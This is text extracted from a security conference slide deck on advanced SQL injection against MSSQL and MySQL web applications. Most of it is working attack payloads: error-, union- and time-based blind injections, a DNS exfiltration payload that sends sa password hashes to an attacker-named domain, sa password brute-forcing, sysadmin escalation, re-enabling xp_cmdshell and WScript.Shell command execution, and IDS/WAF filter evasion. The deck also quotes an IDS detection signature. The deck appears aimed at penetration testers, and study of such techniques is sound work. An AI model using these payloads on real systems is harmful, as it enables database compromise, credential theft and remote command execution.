Advanced SQL IntectionV3
Advanced SQL IntectionV3
http://www.strategicsec.com/
http://www.strategicsec.com/
Step 2: Scan customer network with ISS or Nessus if you were a renegade
Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports...
Step 3: Break out your uber 31337 warez and 0wn it all!!!!!
You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!!
http://www.strategicsec.com/
Hacking Way Back In The Day If you were Ub3r 31337 you did it like this....
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Get Paid....
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Agenda
SQL Injection In The Real World Ugh...WTF???? Filter & IDS Evasion Javascript Validation Serverside Filters IDS Signatures WAF Evasion
http://www.strategicsec.com/
Assumptions...
I submitted a talk entitled SQL Injection for Mere Mortals and it didn't get accepted. Sorry I am not covering the basics.... I am NOT going to teach you the basics of SQL I am NOT going to teach you the basics of SQL Injection Buy me rum and coke, and I'll teach you anything I know
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
3 Classes of SQLI
SQL Injection can be broken up into 3 classes
Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester) Inferential - there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the website/DB Server.
Strategic Security, Inc. http://www.strategicsec.com/
Inband:
Data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page So this is our Error-Based, and Union-Based SQL Injections
http://[site]/page.asp?id=1 or 1=convert(int,(USER))-Syntax error converting the nvarchar value '[j0e]' to a column of data type int.
http://www.strategicsec.com/
Out-of-band:
Data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester). This is another way of getting the data out of the server (such as http, or dns).
http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--
http://www.strategicsec.com/
Inferential:
If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as "Blind SQL Injection".
http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'-Ask it if it's running as 'sa'
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Joe, I am sick of this sh*t what the heck to you mean by error based, blind and union?
http://www.strategicsec.com/
http://www.strategicsec.com/
My Methodology
How I test for SQL Injection Identify * Identify The Injection * Determine Injection Type Attack * Error-Based SQL Injection * Union-Based SQL Injection * Blind SQL Injection (Tool or Manual) (Integer or String) (Easiest) (Great for data extraction) (Worst case....last resort)
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
B - 2nd Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97)WAITFOR DELAY '00:00:10'-Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98)WAITFOR DELAY '00:00:10'-- (+10 seconds) Valid page returns after 10 second delay
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
MySQL
With MySQL you will typically use union or true/false blind SQL Injection so you really need to know a lot about the DB you are attacking such as: * number of columns * column names * path to website So you will need to enumerate this information first. The UNION operator is used to combine the result-set of two or more SELECT statements. Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order.
Strategic Security, Inc. http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Information Gathering
http://[site]/page.php?id=null union all select 1,user(),3,4,5/* http://[site]/page.php?id=null union all select 1,2,database(),4,5/* http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/* Grab the database user with user() Grab the database name with database() Grab the database version with @@version Grab the database data directory with @@datadir
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
UGGGGHHH.....WTF??? (1)
http://www.http://www.liljon.com/liljon.asp?lil=' Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))-Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' Incorrect syntax near ')'. Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query. http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))-Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'liljon' to data type int. Now we know every injection from here on out will require the additional right paren.... @@servername()), @@version()), db_name()), etc.... Strategic Security, Inc. http://www.strategicsec.com/
UGGGGHHH.....WTF??? (2)
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2-Received error: The text, ntext, or image data type cannot be selected as DISTINCT. http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8-http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9-Received error: Operand type clash: text is incompatible with int http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null-Tips: 1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct. 2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer
http://www.strategicsec.com/
Privilege Escalation
Step 1: Brute-Force the 'sa' password http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'JOE','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'joe','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','waitfor delay ''0:0:50'';select 1;');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing.
http://www.strategicsec.com/
Privilege Escalation
Step 2: Add current user to admin group http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing.
http://www.strategicsec.com/
Privilege Escalation
Step 3: Recreate the xp_cmdshell stored procedure MSSQL Server 2000 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'', 14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1 Remember to correctly identify the backend version as this step because MS SQL 2000 handle this differently than MS SQL 2005
http://www.strategicsec.com/
Privilege Escalation
Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?)
select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1; DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1
http://www.strategicsec.com/
Privilege Escalation
Step 3: Recreate the xp_cmdshell stored procedure MSSQL Server 2005 (re-enabling xp_cmdshell) http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;exec master..sp_configure ''show advanced options'',1;reconfigure;exec master..sp_configure ''xp_cmdshell'',1;reconfigure')&a=1 http://[site]/page.asp?id=1;exec master..sp_configure 'show advanced options', 1;reconfigure;exec master..sp_configure 'ole automation procedures',1;reconfigure;&a=1
http://www.strategicsec.com/
http://www.strategicsec.com/
Filter Evasion
I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input.
http://www.strategicsec.com/
Client-Side Filtering
The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them
- Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite)
http://www.strategicsec.com/
Restrictive Blacklist
Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an or true, although this time we are using the like comparison instead of the = sign. We can use this same technique for the other variants such as and 1 like 1 or and 1 like 2 http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: SQL Injection SELECT statement; flow: to_server, established; pcre:/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i; sid: 2; rev: 3;) At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use...
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
Malicious tends to be any HTTP request that has a payload that contains things like:
' <
- | ^*
http://www.strategicsec.com/
If the server responds with error code 501 Method Not Implemented then it is running mod_security.
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
http://www.strategicsec.com/
DotNet Defender
http://www.strategicsec.com/
http://www.strategicsec.com/
Basic References
SQL Tutorials: http://www.sql-tutorial.net/ SQL Injection Tutorials http://www.securitydocs.com/library/3587 http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42 SQL Injection Cheatsheets: http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/ http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
http://www.strategicsec.com/
http://www.strategicsec.com/
Holla @ Me....
You want the presentation????? Buy me a rum and coke or email me.... You can contact me at: Email: Twitter: LinkedIn: joe@securitysec.com http://twitter.com/j0emccray http://www.linkedin.com/in/joemccray
Strategic Security, Inc. http://www.strategicsec.com/